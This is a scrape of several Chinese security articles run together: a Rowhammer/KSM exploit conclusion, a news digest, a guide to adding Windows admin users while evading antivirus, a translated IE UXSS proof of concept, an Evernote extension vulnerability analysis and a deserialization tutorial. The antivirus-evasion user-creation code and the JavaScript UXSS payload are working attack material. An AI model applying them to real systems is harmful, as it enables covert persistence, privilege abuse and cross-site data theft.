Razavi文章所述，这种情况可以轻松实现，但该解决方案需要更深入地了解KSM的内部原理：KSM通过维护两个红黑树：稳定的树和不稳定的树来管理内存重复数据删除，前者跟踪共享页面，而后者存储合并候选页面。KSM会定期扫描页面，并尝试从稳定树中首先合并它们。如果失败，它会尝试在不稳定的树中找到一个匹配项。如果它再次失败，它将候选页面存储在不稳定的树中，并继续下一页。
在我们的例子中，从不稳定树执行合并，KSM会选择首先注册合并的页面。 换句话说，首先启动的VM会赢得合并。为了放宽这个条件，我们可以尝试从稳定树合并页面。
我们所要做的就是在攻击者VM内存中加载两次pam_unix.so模块，并等到KSM合并这些副本。之后，当pam_unix.so模块加载到受害者虚拟机时，其内容将与已存在于稳定树中并由攻击者控制的副本合并。
**结论**
****
尽管Row-hammer攻击是强大和有效的，但它却不再是神话。在这篇博客文章中，我们试图提供必要的工具来实现Row-hammer攻击，而且我们提供了一个漏洞，并允许人们在共同托管的虚拟机上获得访问权限或提升其权限。
最后注意一下，禁用KSM就可以阻止我们的利用了
echo 0 > /sys/kernel/mm/ksm/run | 社区文章 |
# 12月10日安全热点 - 惠普键击记录器/印度删除中国应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
超过460 HP笔记本上发现预装键击记录器
<https://thehackernews.com/2017/12/hp-laptop-keylogger.html>
印度欲删除手机中的中国应用
<https://www.bleepingcomputer.com/news/government/india-tells-troops-to-delete-chinese-apps-from-phones-amidst-tracking-fears/>
Orcus RAT作者开始针对比特币投资人
<http://securityaffairs.co/wordpress/66526/malware/orcus-rat-target-bitcoin.html>
Linux.ProxyM IoT僵尸网络开始攻击网站
<http://securityaffairs.co/wordpress/66537/malware/linux-proxym-iot-botnet.html>
## 技术类
HP Keylogger分析
<https://zwclose.github.io/HP-keylogger/>
Meterpreter DNS隧道利用技术
<https://asintsov.blogspot.com/2017/12/data-exfiltration-in-metasploit.html>
常见协议的Cheat Sheets
<http://packetlife.net/library/cheat-sheets/>
全自动Adversary Emulation介绍
<https://www.blackhat.com/docs/eu-17/materials/eu-17-Miller-CALDERA-Automating-Adversary-Emulation.pdf>
OSINT技术的常见利用
<https://medium.com/@SecEvangelism/happy-osint-hacking-fun-with-the-panama-papers-law-firm-mossack-fonseca-post-breach-89698c39f256>
Pop Nedry Payload
<https://github.com/zznop/pop-nedry>
CheckRemoteDebuggerPresent() 反调试技术
<https://xorl.wordpress.com/2017/12/09/the-checkremotedebuggerpresent-anti-debugging-technique/>
SQL渗透测试小技巧
<https://pen-testing.sans.org/blog/2017/12/09/your-pokemon-guide-for-essential-sql-pen-test-commands/>
OSCE/CTP预指导
<https://tulpa-security.com/2017/07/18/288/>
NSA追踪的检测与恢复
<https://blog.fox-it.com/2017/12/08/detection-and-recovery-of-nsas-covered-up-tracks/>
Lost in Transaction：Process doppelganging
<https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf> | 社区文章 |
# 一些绕过AV进行UserAdd的方法总结及实现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一些绕过AV进行UserAdd的方法总结及实现
> 相关项目:[https://github.com/crisprss/BypassUserAdd](https://)
## 0x01 前置了解
我们知道,一般我们想要进行`添加用户`等操作时,基本运行的是:
net user username password /add
net localgroup administrators username /add
其实一般杀软只会检测前面添加用户的命令,而后面的命令并不会触发杀软的报警行为,其实在这里`net`是在`C:\Windows\System32`下的一个可执行程序,并且该目录下还有`net1.exe`,这两个程序的功能是一模一样的:
不论我们是使用net或者是net1都会被杀软检测,至于是不是对底层API的Hook操作,我们还并不清楚
因此在这里,我们来监测系统使用`user add`时具体对应的API:
实际上当我们使用`net user username password /add`时net程序会去调用`net1.exe`程序,然后使用相同的命令:
当尝试跟进`net1.exe`来跟踪相关操作时发现应该是使用RPC,并且endpoint是`\PIPE\lsarpc`来进行其他的操作
到这里就没有进一步跟进下去,其实在这里了解到实际上是通过MS-SAMR协议通过RPC实现的,`MS-SAMR`的官方IDL文档贴出:[https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/1cd138b9-cc1b-4706-b115-49e53189e32e](https://)
可以看到其中`SamrSetInformationDomain`等方法都是其接口方法,这也为后文埋下了一定伏笔,因此使用BypassAV进行AddUser的方法并没有结束
## 0x02 正文
### 1.Win API 进行UserAdd
在MSDN搜索添加用户相关资料时就会发现微软官方是提供了标准API进行添加用户的,可以参考[https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd](https://)
**NetUserAdd** 其函数原型如下:
NET_API_STATUS NET_API_FUNCTION NetUserAdd(
[in] LPCWSTR servername,
[in] DWORD level,
[in] LPBYTE buf,
[out] LPDWORD parm_err
);
其中`level=1`时,指定有关用户帐户的信息。此时BUF参数指向一个 `USER_INFO_1`结构:
typedef struct _USER_INFO_1 {
LPWSTR usri1_name;
LPWSTR usri1_password;
DWORD usri1_password_age;
DWORD usri1_priv;
LPWSTR usri1_home_dir;
LPWSTR usri1_comment;
DWORD usri1_flags;
LPWSTR usri1_script_path;
} USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1;
这意味着我们本地实现时需要注意设置`user_info_1`这样一个结构体,在这里使用Golang进行简单的实现，其中核心源码如下:
果然不出意外,杀软应该是对该API进行Hook了,即使通过调用API这一方式也会轻易被杀软检测到相关可疑操作
互联网上一顿搜索发现21年6月份时该杀软就已拦截netapi加用户的方式:
到这里只好硬着头皮去尝试对`netapi32.dll`进行逆向分析,看其中是否有更加底层的API实现,如果本身`NetUserAdd`也是封装的话,那我们完全可以实现自己封装从而绕过该API
### 2.对NetAddUser的底层封装调用
在互联网上搜索看看有没有前人已经进行过相关工作,结果发现确实有前人已经做过相关逆向的工作:
[https://idiotc4t.com/redteam-research/netuseradd-ni-xiang](https://)
在Win10中的`netapi32.dll`已经找不到相关添加用户的函数,只有一个NetUserAdd的导出函数,我们尝试逆向XP中的`netapi32.dll`:
> Security Account Manager (SAM) 是运行 Windows
> 操作系统的计算机上的数据库，该数据库存储本地计算机上用户的用户帐户和安全描述符。
这里对UserAdd的实现也是首先尝试连接SAM数据库,判断SAM中是否已经存在该用户,然后利用`RtlInitUnicodeString`对新建用户信息等做一个初始化操作，最后调用`SamCreateUser2InDomain`来创建用户账户，创建成功会继续调用`UserpSetInfo`设置用户密码,因此实际上`NetUserAdd`就是被这样几个关键函数进行封装,因此我们需要做的是哪些函数能够直接调用,而哪些函数是还需要自己进一步封装
其中`UaspOpenSam`没有导出,而实际上对应的是`SamConnect`:
`UaspOpenDomain`同样没有导出,实际上对应的也是Sam系的函数:
这里SamOpenDomain的函数原型大致如下:
SamOpenDomain(ServerHandle, DesiredAccess, DomainSid, &DomainHandle)
因此我们是需要`DomainSid`的,也就是说我们还需要获取账户所在域的SID信息，经过搜索发现可以使用Sam函数获取的,而在ReactOS和mimikatz中就是使用的
LSA 函数进行查询的:
在`MSDN`中查询该函数(LsaQueryInformationPolicy)发现存在:
函数原型如下:
NTSTATUS LsaQueryInformationPolicy(
[in] LSA_HANDLE PolicyHandle,
[in] POLICY_INFORMATION_CLASS InformationClass,
[out] PVOID *Buffer
);
// in Advapi32.dll
继续跟进,发现`UserpSetInfo`同样没有导出函数,继续跟进这个函数:
而在React OS的`SetUserInfo`函数中同样找到该方法的调用:
这里的UserAllInfo对应的就是USER_INFO结构体,而通常情况下我们都是使用`USER_INFO_1`,并且将值设置为1
因此大致过程已经比较清楚：
* 1.调用SamConnect连接SAM数据库
* 2.通过LsaQueryInformationPolicy获取SID信息后调用SamOpenDomain
* 3.验证完成后调用SamCreateUser2InDomain创建用户信息
* 4.最后通过SamSetInformationUser来设置新建用户的密码
最后成功绕过杀软进行用户添加。
### 3.Cobalt Strike argue参数欺骗
在CS 3.1版本后引入了argue参数欺骗技术,使得进程在创建时记录的参数与实际运行时不同
>
> windows系统从进程的进程控制块的commandline中读取参数，并对参数做相应的处理，在线程未初始化完成前，我们可以修改这些参数,达到伪装commandline的目的
操作其实就是读取进程中PEB内`RTL_USER_PROCESS_PARAMETERS`结构体,在该结构体中对`CommandLine`指针进行修改
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
这里我们使用argue进行参数混淆污染net1程序,然后在通过`execute net1 username password
/add`方式来进行添加用户,笔者反复试验了多次,均为检测到,因此判断通过参数欺骗这种方式还是可以逃过杀软的检测,毕竟杀软对于commandline的检测也是通过读取进程PEB表实现的
### 4.C#利用命名空间和目录服务 添加用户
这其实是微软文档中自己给出的一种方式,具体可以参考:
[https://docs.microsoft.com/zh-cn/troubleshoot/dotnet/csharp/add-user-local-system](https://)
> 注意需要添加对程序集`System.DirectoryServices.dll`的引用
这种方式通过C#中调用`DirectoryServices`添加本地用户,同时支持删除用户、添加用户组等实现
这里直接参考官方文档的描述就行,核心代码如下:
DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");
DirectoryEntry addUser = AD.Children.Add(username, "user");
addUser.Invoke("SetPassword", new object[] { password });
addUser.CommitChanges();
DirectoryEntry grp;
grp = AD.Children.Find("Administrators", "group");
if (grp != null) {
grp.Invoke("Add", new object[] { addUser.Path.ToString() });
}
grp = AD.Children.Find("Remote Desktop Users", "group");
if (grp != null) {
grp.Invoke("Add", new object[] { addUser.Path.ToString() });
}
经过检测这种方式同样不会被杀软拦截,并且利用C#还有代码简洁,可以结合CS内存加载运行的特点,我们知道CS 3.1后便支持使用`execute-assembly`方式来调用NET程序集文件
### 5.编写反射DLL以及CS插件化实现
在编写的过程中其实已经发现,数字杀软已经对反射注入的行为特征进行检测,这里或许可以对反射DLL的一些属性进行修改,看到一些思路说是先不使用RWE属性的内存页,先使用RW属性执行DLL加载,加载完成后再将代码段改为RE可以绕过,在这里没有进行相关修改
在反射DLL编写中实现了2种方式,通过Win API创建用户和重构NetUserAdd,实现底层创建用户,当使用反射注入方式时2种方法都会被检测到
而前文已经提到,重构NetUserAdd实现底层创建,即通过`SamSetInformationUser`创建是不会被杀软拦截的,因此插件的实现只是包含反射注入的功能作为参考(或许对其他EDR比较好使),结合其他两种方式实现绕过杀软进行用户添加的功能
基于上述原理和方法,实现了一个简单的Bypass添加用户的插件,主要实现的有利用反射注入实现API添加用户和底层实现API添加用户,以及内存加载NET程序集实现C#活动目录添加用户和底层实现API的可执行程序上传再执行
实现效果如图:
但令我不解的是前一天利用C#编写的添加用户还能够成功绕过该杀软,第二天将上述这些能够绕过的封装到反射DLL或者封装到插件里面去之后,杀软都检测到了…这更新速度未必也太快了？
而且连前一天的argue参数欺骗都被检测了,中间间隔不到24h时间,在这里不得惊叹速度之快(可以看截图信息里的时间)
因此我也比较无奈,刚写好插件就发现没办法Bypass杀软了,只好作为实现原理和姿势分析,还有一个思路就是直接调用RPC接口方法,不过这种方式其实本质和重新封装NetUserAdd是一样的,具体能不能绕过我没有实现了…
发现[@loong716](https://github.com/loong716 "@loong716")师傅之前分享过利用ms-samr
RPC实现过更改用户密码，可以参考:
[https://github.com/loong716/CPPPractice/tree/master/ChangeNTLM_SAMR](https://)
这里应该在此基础上进行修改就能够实现创建用户,稍微留个坑等之后再来重写下
* * *
相关参考文章:
[https://idiotc4t.com/redteam-research/netuseradd-ni-xiang](https://)
[https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/1cd138b9-cc1b-4706-b115-49e53189e32e](https://)
[https://loong716.top/posts/Set_ChangeNTLM_SAMR/#2-%E7%9B%B4%E6%8E%A5%E8%B0%83%E7%94%A8ms-samr](https://) | 社区文章 |
原文：[SOP bypass/ UXSS on IE – More Adventures in a Domainless World
](https://www.brokenbrowser.com/uxss-ie-domainless-world/)
原作者:[Manuel Caballero](https://twitter.com/magicmac2000)
译： **Holic (知道创宇404安全实验室)**
几个月前我们研究过 Edge 浏览器上的[无域的about:blank](https://www.brokenbrowser.com/uxss-edge-domainless-world/)页面问题。强大的 about:blank document
基本上能够无限制访问任何域。该漏洞近期得以修复（[CVE-2017-0002](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0002)）。因此现在它已不再生效。同样的事情发生在了[ActiveXObject/htmlFile](https://www.brokenbrowser.com/uxss-ie-htmlfile/) (现在的 **htmlFile** ) 上，
[上周也被修复了](https://technet.microsoft.com/library/security/MS17-006)（对应[CVE-2017-0154](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0154)）。
**注：** 分别对应译文《[ UXSS on Microsoft Edge – Adventures in a Domainless World
](http://paper.seebug.org/143/)》和《[SOP bypass / UXSS on IE11
htmlFile](http://paper.seebug.org/211/)》
如果你没见过这两个实现 UXSS/SOP 绕过的方法，现在就去看看吧，因为接下来的内容需要前文的知识。感谢 bug 猎手！
我们今天的目标是将原来的 Edge 漏洞移植到 Internet Explorer 上来。这应该挺轻松的，考虑[微软对IE
漏洞并不上心](https://www.brokenbrowser.com/on-patching-security-bugs/)。我们先看看这两个漏洞的状态：
### 在 IE 上创建无域的 about:blank
在原漏洞上，我们使用 data:url 创建无域的空白页面，那么我们怎样在 IE 上实现这点呢？htmlFile
再次立功。因为补丁不允许我们设置任意域，但我们仍可以设置为空白，或者无域的。
要创建无域的 htmlFile ，我们首先需要一个已经被销毁的document，换句话说，该 document 已经不存在。那么如何无中生有呢？对
[Neil deGrasse Tyson](https://twitter.com/neiltyson) 来说这是个更深入的问题，不过我会尽量解答。?
这个想法实际上很简单。我们只需要确保下述内容按顺序发生即可。
1. 保存对 iframe 的 ActiveXObject 的引用。
2. 至少实例化一次 htmlFile（IE 因此不会销毁它）
3. 阻塞 iframe 线程（IE 没有机会销毁我们的应用）
4. 销毁iframe 的 document（使用 document.open）
5. 再次实例化 htmlFile。它现在便是无域的了。
步骤2和3非常重要。跳过步骤2将不能保存 **可利用** 的引用。跳过步骤3会让 IE 销毁对象。
Bug 猎手，我们之前曾见过这个阻塞线程的[思路](https://www.brokenbrowser.com/uxss-ie-htmlfile/)（参见那篇文章的底部），可用来发现大量漏洞。下面使用的线程阻塞技术是一个非常醒目的粗体的
alert。这样我们不会直接给攻击者提供工具，或者他们至少需要自己找的一个方案使这个 PoC 完全不可见。接下来请看代码。
### 无域 htmlFile
// We will attack the iframe below
// <iframe name="victim_iframe" src="https://www.google.com/recaptcha/..."></iframe>
// Render an iframe (we will destroy its document later)
document.body.insertAdjacentHTML('beforeEnd','<iframe name="ifr"></iframe>');
// Save a reference to its ActiveXObject
var ifr_ActiveXObject = ifr.ActiveXObject;
// Make sure IE does not invalidate our reference
new ifr_ActiveXObject("htmlFile"); // We don't even need save this instance
// Block the iFrame so the ActiveXObject object is never destroyed
ifr.setTimeout('alert("Do not close me until the PoC finishes, please.");');
你是否注意到了我们使用 setTimeout 来执行阻塞的 alert？这是因为我们仍然需要进行继续处理，如果我们直接在 iframe 上
alert，它将会阻塞 UI，而不会执行接下来的内容。我们的目标是在 _阻塞的alert仍存在的情况下_ ，销毁 iframe 的内容。别忘了 alert
是会阻止 IE 销毁 ActiveXObject 的。
现在我们将会销毁 iframe 的 document，并创建无域的 htmlFile。如果你对 document.open 不熟悉的话，你可以认为这个
PoC 是个 document.write 。
// Destroy the iframe document
ifr.document.open();
// Instantiate a domainless htmlFile
var domainlessDoc = new ifr_ActiveXObject("htmlFile");
太棒了，此时我们有了无域的 htmlFile。现在需要用 iframe 加载我们想要访问的 URL 了，bingo！有关细节将在 [original
adventures in a domainless world](https://www.brokenbrowser.com/uxss-edge-domainless-world/)
一文中有所体现（注：可参考[paper的译文](http://paper.seebug.org/143/)）。但实际上，我们正在用 iframe
加载任何站点，然后将其更改至 about:blank （属于 iframe 域）。然后，我们可以从无域的 htmlFile 自由地访问这个空白页面（绕过
SOP）。
// Inject the code in victim's inner iframe
domainlessDoc.parentWindow.setTimeout("victim_iframe[0].location = 'javascript:alert(parent.document.domain);'");
想看实际演示吗？本例可以在 IE10 和 IE11 上直接使用，但只需一点点调整它就应该能在 IE6 到 IE11
上用了。当然这里不会做相应调整，但如果你感兴趣的话，可以告诉我。
**[[ Check out the PoC Live on IE10 or IE11
]](http://www.cracking.com.ar/demos/ieuxssdomainless)**
Bug 猎手，我还要提醒你一下，htmlFile 仍有很多东西要探索。我相信它值得花一次雨天午后的时间深入研究！
以我之见，修复所有 htmlFile 相关 bug 的最好方案就是完全禁用来自 _iexplorer.exe_
的实例化。很不幸，我没有足够的大局观，但可以猜到它存活至今必有其因。老实说，我不知道世界上开发者会怎么修复它。一旦这个对象被实例化，有太多的东西会超出 IE
的认知。
// If this code returns ACCESS_DENIED attackers will lose an amazing weapon
new ActiveXObject("htmlFile"); // Do not allow this anymore!
* * * | 社区文章 |
# Evernote Chrome扩展漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 guard，文章来源：guard.io
原文地址：<https://guard.io/blog/evernote-universal-xss-vulnerability>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
2019年5月，Guardio研究团队发现了Evernote Web Clipper
Chrome插件中的一个严重漏洞。这是一个逻辑缺陷，攻击者可以借此破坏域名隔离机制，以用户身份来执行代码，最终访问敏感用户信息（不局限于Evernote自己的域名）。金融、社交媒体、个人邮件等其他信息都是攻击者潜在的目标。这个通用型XSS漏洞编号为CVE-2019-12592。
成功利用漏洞后，如果用户访问攻击者控制的网站，第三方网站就可以窃取访问者的私密数据。在PoC中，Guardio演示了如何利用该漏洞访问社交媒体（读取并发表社交内容）、金融交易历史、个人购物清单等。
由于Guardio及时反馈，Evernote已经修复该漏洞，并在几天内推出了新版本。
## 0x01 背景
现在大多数互联网用户已经不需要下载可执行文件或者安装专用软件。对于社交账户、购物以及金融领域，用户们已经越来越倾向于直接使用浏览器提供的软件及工具。
这种场景也给app开发者带来了不小挑战。某些工具需要更多访问权限，才能更出色地完成任务，此时就轮到浏览器扩展（extension）派上用场。虽然app开发者的初衷是提供更好的用户体验，但扩展通常具备访问大量敏感资源的权限，因此与传统网站相比可能会带来更大的安全风险。
在Guardio安全研究工作中，我们的研究人员发现了Evernote Web Clipper
Chrome扩展中的一个严重漏洞。由于Evernote现在使用范围特别广泛，这个问题影响范围较大，在本文撰写时大概有超过4,600,000用户受到影响。
与之前扩展中的严重漏洞相比（比如大家熟悉的Grammarly安全漏洞），这个漏洞会直接影响第三方服务，因此攻击范围不局限于用户的Evernote账户。
## 0x02 PoC
为了演示攻击者如何利用这个漏洞，Guardio发布了一个PoC，可以悄无声息窃取用户的敏感信息。将几个攻击步骤结合在一起后，我们能看到令人惊讶的攻击效果。
PoC攻击步骤：
1、用户浏览攻击者控制的恶意网站（比如社交媒体、邮件或者恶意博客评论等）；
2、恶意网站悄悄加载隐藏的、合法的目标站点`iframe`标签（链接）；
3、恶意网站触发漏洞，导致Evernote内部架构将攻击者控制的payload注入所有`iframe`上下文中；
4、注入的payload为每个目标网站专门定制，可以窃取cookie、凭据、私密信息、以用户身份操作等。
## 0x03 漏洞细节
为了理解漏洞细节，我们首先需要大概了解Evernote Web Clipper Chrome插件如何与站点及frame交互。
Evernote的代码注入链可以追溯到扩展的`manifest`文件（`manifest.json`），其中`BrowserFrameLoader.js`内容脚本会以声明方式被注入到所有网页及frame中。需要注意的是，由于注入frame的行为比较敏感，因此这似乎是使用`all_frames`指令注入的唯一脚本，这样可以减少可能存在的攻击面。这个脚本的主要目标是承担小型的命令及控制服务器角色，以便根据需要将其他代码载入页面中。
在通信渠道方面，该脚本通过`postMessage`
API来实现窗口消息传递。作为小型注入脚本，该脚本只为几种消息类型提供处理接口（handler），其中就包含`installAndSerializeAll`命令，该命令可以注入第二阶段的`FrameSerializer.js`，执行序列化操作。这种机制采用了弱认证方案，本身并不是一个漏洞，但可以作为后续漏洞利用链的支撑点，在网站沙盒上下文中运行的脚本可以触发后续命令。这个消息处理接口涉及到的参数（这里为`resourcePath`及`target`）可以作为命令请求消息中的payload字段进行传递。
`_getBundleUrl`函数本来的功能是向该扩展的命令空间（`chrome-extension://...`）提供有效的URL，但由于代码逻辑疏忽，并且没有对输入进行清洗过滤，因此我们可以使用前面接口的`resourcePath`输入参数来篡改URL的第一部分数据。
将这些细节组合成完整的利用链，该漏洞可以允许远程攻击者通过简单的一条`window.postMessage`命令，将自己可控的脚本载入其他网站的上下文中。通过滥用Evernote的注入框架，恶意脚本可以被注入到页面的所有目标frame中，无视跨域策略约束。
攻击者可以通过这种方法，通过可控的任何网站实现通用型XSS注入。漏洞利用成功后，攻击者还可以执行各种操作，Guardio在向Evernote提供的PoC中只给出了一些攻击场景，实际上利用场景要广泛得多。
## 0x04 缓解措施
Evernote已经发布了补丁，向用户推出了新版本。大家可以访问Evernote
Chrome扩展页面（`chrome://extensions/?id=pioclpoplcdbaefihamjohnefbikjilc`，出于安全原因，需要手动将该地址拷贝到浏览器地址栏），查看是否安装了最新版本，确保当前版本号不低于7.11.1。
这个漏洞表明，我们需要重视浏览器扩展的安全性，只安装来自于可信源的扩展，毕竟攻击者只需要一个不安全的扩展就能对用户的在线数据造成威胁（如金融、社交媒体、个人邮件等数据）。
## 0x05 时间线
Evernote安全团队高度负责，及时修复了这个漏洞，具体时间线如下：
* 2019年5月27日 – 提交漏洞反馈
* 2019年5月28日 – 官方回复邮件
* 2019年5月28日 – 确认问题，并归到漏洞类别
* 2019年5月29日 – Evernote安全页面上提到[相关内容](https://evernote.com/security/report-issue/)
* 2019年5月31日 – 发布Evernote Web Clipper 7.11.1版
* 2019年6月4日 – 确认问题已修复 | 社区文章 |
# 梨子带你刷burpsuite靶场系列之高级漏洞篇 - 不安全的反序列化专题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本系列介绍
>
> PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。
## 梨子有话说
>
> 梨子也算是Web安全初学者，所以本系列文章中难免出现各种各样的低级错误，还请各位见谅，梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的，很多初学者看了很久依然是一知半解的，故希望本系列能够帮助初学者快速地掌握漏洞原理。
## 高级漏洞篇介绍
> 相对于服务器端漏洞篇和客户端漏洞篇，高级漏洞篇需要更深入的知识以及更复杂的利用手段，该篇也是梨子的全程学习记录，力求把漏洞原理及利用等讲的通俗易懂。
### 高级漏洞篇 – 不安全的反序列化专题
### 什么是序列化？
所谓序列化，就是将一些复杂的数据结构(如对象)转换成一种可以以序列字节流传输的更”扁平化”的格式的过程。序列化的数据可以更容易做到这些事
* 将复杂数据写入进程间内存、文件或数据库
* 在如网络、应用程序的不同组件之间或API调用中发送复杂数据
如果我们对一个对象进行序列化操作，它的所有状态都会被持久化保存，包括其属性和值。
### 序列化与反序列化？
反序列化就是序列化的逆向操作，即将序列化数据还原回原来的对象，并仍然具有序列化时的状态及属性、值。然后就可以继续对该对象进行后续操作。
大部分的编程语言都默认支持序列化与反序列化操作。序列化数据有两种格式，分别为二进制与JSON字符串，不同的编程语言会将对象序列化成这两种格式的其中一种。序列化数据会包含被序列化对象的所有属性，如果想不对某些字段序列化，可以在类声明中标记其为transient。
在不同的编程语言中，序列化操作也有不同的称呼，如Ruby的marshalling和python的pickling。
### 什么是不安全的反序列化？
不安全的反序列化就是攻击者通过某个数据可控点传入精心构造的序列化数据，然后被反序列化为对象后，攻击者操控该对象向应用程序传递恶意数据。而且很多时候在未完成反序列化过程之前就可能已经成功发动反序列化攻击，所以该漏洞危害是非常高的。
### 不安全的反序列化漏洞是如何产生的？
不安全的反序列化漏洞说白了，就是应用程序对序列化数据安全性的疏忽或过度自信。某些开发者觉得对序列化数据进行检查即可防护，但是这种检查往往需要首先对序列化数据执行反序列化操作后再进行检查，此时可能为时已晚。而且现在的应用程序都比较复杂，有非常多的依赖项，很难检查每个对象的调用。简而言之就是过于信任用户输入导致的。
### PHP序列化格式
PHP序列化数据为JSON格式字符串。可读性非常高。其使用字符代表数据类型，数字代表该条目的长度。比如有这样一个对象User，它包含两个操作
$User->name = "carlos";
$User->isLoggedIn = true;
这个对象经过序列化后变成这样
`O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}`
我们一点点来解读这条序列化数据
* O:4:”User” 表示有一个对象，对象名长度为4，名为User
* 2 表示这个对象有两个属性
* s:4:”name” 表示第一个属性名长度为4，名为name
* s:6:”carlos” 表示第一个属性为字符串类型，长度为6，值为carlos
* s:10:”isLoggedIn” 表示第二个属性名长度为10，名为isLoggedIn
* b:1 表示第二个属性为布尔类型，值为true(用1表示)
PHP序列化与反序列化操作分别对应serialize()和unserialize()函数，如果想要找到PHP反序列化漏洞点可以在可访问源码的情况下查找unserialize()函数。
### Java序列化格式
与PHP不同的是，Java的序列化数据为二进制格式，可读性很低。不过还是有一些特征的，比如序列化的Java对象总是以十六进制下的ac和base64编码下的rO0开头。任何派生了java.io.Serializable接口的类都可以进行序列化与反序列化。如果可以访问到源码，还可以重点留意一下readObject()方法，因为它可以从InputStream读取和反序列化数据。
### 操纵序列化的对象
### 修改对象属性
现在我们还是考虑有这样一个对象User，这个应用程序将序列化的User存放在Cookie中以识别用户。因为是放在Cookie中的，所以我们可以找到这样的JSON字符串。
`O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}`
我们发现了一个很有趣的变量isAdmin，并且它还是布尔类型，所以我们猜测应用程序单纯根据这个参数识别当前用户是不是管理员。如果我们找到这样的代码，就能印证我们的猜测。
$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}
如果我们将序列化字符串中的isAdmin的值改成1，再替换到Cookie中，经过这段代码反序列化操作后即会因为isAdmin的值为true识别当前用户为管理员。我们就可以因此执行所有管理员能执行的操作了。
### 配套靶场：修改序列化对象
登录以后发现cookie中的session值很可疑，是被base64编码的，所以我们解码一下看看
好家伙，序列化的字符串，我们像上面一样，将admin的值改为1，然后重新base64编码后替换session的值
成功拥有管理员权限，就可以删除指定用户了
### 修改数据类型
上面是讲的修改序列化数据中的属性，也可能因为异常的数据类型导致反序列化攻击。像PHP这种语言就存在这种情况，就是使用弱类型比较符(==)时。如果这个比较符的操作数为字符串和数字，会导致其将字符串转换为数字，那如果将数字5与字符串5做比较即会返回true了。而且更为神奇的是，如果是以数字开头的字符串，也会因为这个比较符把字符串转换为这个数字再进行比较。所以当5与5
of something比较也会因为这个特性返回true。那么如果让0与纯字符串比较呢？
`0 == "Example string" // true`
也会返回true，很神奇。这就是如果字符串不以数字开头就被认为是0。那么利用这个特性就可以在下列代码中触发逻辑漏洞。
$login = unserialize($_COOKIE)
if ($login['password'] == $password) {
// log in successfully
}
根据刚才讲的特性，如果Cookie中的密码为纯字符串，我们只需要输入0就能登录成功。这里值得注意的是，在修改序列化数据时，还要及时更新各条目的长度，否则也不会攻击成功的。
上面讲的都是序列化数据为JSON字符串的情况，如果是二进制数据，burp推荐使用插件Hackvertor，它可以根据序列化数据自动更新二进制偏移。
### 配套靶场：修改序列化的数据类型
登录以后，像往常一样将session解码，然后将username改成administrator，更新一下长度，再将access_token修改为类型为i，值为0
成功通过上面见到的特性绕过了身份验证登陆了管理员账号，其实这里有第二种解法，我们可以修改username，然后看看会发生什么
从报错信息来看，应用程序会直接将当前用户的access_token反馈在里面，我们将其替换一下也是可以成功登录管理员账号的
成功登录管理员以后，就可以删除指定用户了
### 使用应用程序中的功能点
有的时候，应用程序中的某些功能点也可以用来发动反序列化攻击。比如应用程序有个功能点，删除用户，它会在删除用户同时删除对象User中image_location属性指定的用户头像图片路径。但是如果我们能够修改该对象中的这个属性值为其他文件路径，就会在删除该用户的同时删除我们指定的文件，而不是什么用户头像图片。这种攻击手段是需要手动调用该功能点的，后面小节我们会介绍仅需要传入构造的序列化数据即会自动利用的魔术方法。
### 配套靶场：使用应用程序中的功能点发动不安全的反序列化
我们首先找到一个删除功能点，这里切记要通过拦截的方式重放，不能发到repeater中，因为只有一次删除的机会，拦截到包以后将session解码后中的图片路径修改成指定的文件路径
然后重新编码，放包，成功删除用户的同时删除了指定文件
### 魔术方法
魔术方法就是在某些情况下会自动调用的方法。支持面向对象的编程语言中基本都会有魔术方法。魔术方法函数名一般会以两条下划线(__)开头。比如PHP中的__construct()，它会在类实例化的时候自动调用，相当于python中的__init__。因为在实例化的时候就会自动执行，所以如果攻击者重写该函数则会在实例化的时候自动执行其他代码。而在反序列化操作时也会自动调用魔术方法，比如PHP中unserialize()函数会自动调用__wakeup()
魔术方法。在Java中也是，存在ObjectInputStream.readObject()方法，可以从原始字节流中读取数据。并且可序列化的对象还可以声明自己的readObject()方法，例如
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {...};
攻击者可以利用魔术方法在反序列化完成之前就将恶意数据传递到应用程序中。所以魔术方法是发动更高级攻击的起点。
### 注入任意对象
前面我们讲过通过简单修改序列化数据的方式进行攻击。但是如果我们在反序列化点注入精心构造的序列化数据，在被反序列化后则可以执行非预期的功能。并且一般应用程序是不会检查正在反序列化的数据的，所以我们注入的序列化数据也会被成功实例化为对象。如果我们可以访问到源码，我们可以通过研究其中的类的细节利用魔术方法发动攻击。下面我们通过一道靶场来深入理解。
### 配套靶场：PHP中的注入任意对象
